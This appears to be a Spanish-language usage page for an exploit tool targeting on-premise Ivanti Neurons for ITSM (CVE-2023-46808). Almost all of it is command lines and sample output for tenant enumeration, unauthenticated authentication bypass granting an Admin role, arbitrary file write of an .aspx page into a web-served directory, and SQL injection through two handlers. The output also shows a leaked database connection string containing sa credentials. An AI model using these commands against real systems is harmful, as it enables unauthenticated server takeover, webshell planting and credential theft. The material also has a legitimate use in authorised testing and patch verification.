Exploits para Ivanti Neurons for ITSM (On Premise)

Este script explota varias vulnerabilidades que permiten a un atacante no autenticado obtener acceso de administrador y ejecutar comandos remotos (CVE-2023-46808) en Ivanti Neurons for ITSM (On Premise).

Para detalles técnicos, consulte Detalles Técnicos

Versiones afectadas

Las versiones 2021.1.0.2021060601 a 2020.4.0.2021033001 están afectadas, y es probable que las versiones anteriores también sean vulnerables.

Uso

Instalar requisitos:

pip install requests defusedxml

Listar tenants

python3 ivanti-itsm-exploit.py  -u http://<target> --list-tenants
[2025-08-10 21:04:18] [*] Listando tenants: http://<target>/HEAT/
[2025-08-10 21:04:18] [*] [+] Tenants encontrados:
- CentralConfig
- WIN-ITSM

Omisión de autenticación

python3 ivanti-itsm-exploit.py -v  -u http://<target> -t WIN-ITSM --auth-bypass

[2025-08-10 21:07:43] [*] Omitiendo autenticación: http://<target>/HEATSurveyProxy/SaaSSurvey.asmx
RESPUESTA HTTP:
<?xml version="1.0" ?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
	<soap:Body>
		<AuthenticateAPIResponse xmlns="http://www.frontrange.com/WebSurvey/">
			<AuthenticateAPIResult>
				<TenantId>WIN-ITSM</TenantId>
				<LoginId>HEATAdmin</LoginId>
				<SessionId>OMJC56DSECOCHU6UT9SKGVLP0VLF00U6</SessionId>
				<ConnectionString>server=WIN-ITSM;Integrated Security=False;MultipleActiveResultSets=True;user id=sa;password=Password123;initial catalog=HEATSM</ConnectionString>
				<ProviderName>System.Data.SqlClient</ProviderName>
				<UseServerTimeZone>false</UseServerTimeZone>
				<SessionKey>WIN-ITSM#OMJC56DSECOCHU6UT9SKGVLP0VLF00U6#1</SessionKey>
				<SessionKeyExpire>638915620626330227</SessionKeyExpire>
				<AuthenticationStatus>Success</AuthenticationStatus>
			</AuthenticateAPIResult>
		</AuthenticateAPIResponse>
	</soap:Body>
</soap:Envelope>

[2025-08-10 21:07:43] [+] Cadena de conexión de base de datos encontrada: server=WIN-ITSM;Integrated Security=False;MultipleActiveResultSets=True;user id=sa;password=Password123;initial catalog=HEATSM
[2025-08-10 21:07:43] [+] Clave de sesión (SID) encontrada: WIN-ITSM#OMJC56DSECOCHU6UT9SKGVLP0VLF00U6#1
[2025-08-10 21:07:43] [*] Añadir rol Admin a la sesión: http://<target>/HEAT/Services/Session.asmx/SelectRole
[2025-08-10 21:07:43] [+] Rol actual: Admin
[2025-08-10 21:07:43] [+] Token CSRF: lbDMPZLNUCjRdF9tlN8Vry3kr1o

Escritura remota de archivos arbitrarios

python3 ivanti-itsm-exploit.py -v  -u http://<target> -t WIN-ITSM --auth-bypass upload --file a
[...]
[2025-08-10 21:08:55] [*] Añadir rol Admin a la sesión: http://<target>/HEAT/Services/Session.asmx/SelectRole
[2025-08-10 21:08:55] [+] Rol actual: Admin
[2025-08-10 21:08:55] [+] Token CSRF: GOjTQIMGuCIwjDEXaw2eU-H_tao
[2025-08-10 21:08:55] [*] Añadiendo archivo en la base de datos
RESPUESTA HTTP:
<textarea>{"success":true,"msg":"Your file has been uploaded"}</textarea>
[2025-08-10 21:08:55] [*] Escribiendo id de conexión de archivo: 95489760790959413597285398825941
RESPUESTA HTTP:
{"d":null}
[2025-08-10 21:08:55] [*] Comprobando ruta de archivo
RESPUESTA HTTP:
{"d":"C:\\\\\\\\Program Files\\\\\\\\HEAT Software\\\\\\\\HEAT\\\\\\\\AppServer\\\\\\\\Input\\WIN-ITSM\\"}
[2025-08-10 21:08:55] [+] ¡Éxito! Archivo escrito en: C:\\\\Program Files\\\\HEAT Software\\\\HEAT\\\\AppServer\\\\Input\WIN-ITSM\
[2025-08-10 21:08:55] [+] URL del archivo: /HEAT/Input/WIN-ITSM/Default.aspx

Inyección SQL

python3 ivanti-itsm-exploit.py -v  -u http://<target> -t WIN-ITSM --auth-bypass sqli-package --sql "SELECT * from master..syslogins WAITFOR DELAY '0:0:20';"
[...]
[2025-08-10 21:13:37] [*] Añadir rol Admin a la sesión: http://<target>/HEAT/Services/Session.asmx/SelectRole
[2025-08-10 21:13:37] [+] Rol actual: Admin
[2025-08-10 21:13:37] [+] Token CSRF: 74652LoPMbH3uy0Rf42lSDn2aoE
[2025-08-10 21:13:37] [*] Explotando SQLI de PackageImportHandler.ashx: http://<target>/HEAT/AdminUI/handlers/PackageImportHandler.ashx
[2025-08-10 21:13:57] [+] ¡Éxito! RESPUESTA HTTP:
<html><body>{"completed":true,"applied":true,"errors":[],"warnings":[]}<body></html>

Usar ITSM como cliente para una base de datos remota:

python3 ivanti-itsm-exploit.py -v  -u http://<target> -t WIN-ITSM --auth-bypass sqli-asset --sql "master..syslogins WAITFOR DELAY '0:0:10'--" -u sa -p Password123 -s WIN-ITSM -d ConfigDB
[...]
[2025-08-10 21:14:27] [+] Clave de sesión (SID) encontrada: WIN-ITSM#2OK3EV6F3F73L1KM3A0R0G3S5UA05VHR#1
[2025-08-10 21:14:27] [*] Añadir rol Admin a la sesión: http://<target>/HEAT/Services/Session.asmx/SelectRole
[2025-08-10 21:14:27] [+] Rol actual: Admin
[2025-08-10 21:14:27] [+] Token CSRF: fnNhibelOJoOxaTihGUd9PG4vXM
[2025-08-10 21:14:27] [*] Explotando SQLI de GetAssetXML: http://<target>/HEAT/AdminUI/services/IntegrationNew.asmx/GetAssetXML
[2025-08-10 21:14:37] [+] ¡Éxito! RESPUESTA HTTP:
{"d":"Preview failed - SCCMTransformer.GetKeys - Failed to retrieve random key value from SCCM serverSystem.IndexOutOfRangeException: 1\r\n   at System.Data.ProviderBase.FieldNameLookup.GetOrdinal(String fieldName)\r\n   at System.Data.SqlClient.SqlDataReader.GetOrdinal(String name)\r\n   at System.Data.SqlClient.SqlDataReader.get_Item(String name)\r\n   at FrontRange.Integration.Adapter.Container.SCCMContainerBase.GetRandomKey(SCCMAdapterConnectionDef connectionDef)"}

itsm-exploit

Más Populares

Exploits para Ivanti Neurons for ITSM (On Premise)

Versiones afectadas

Uso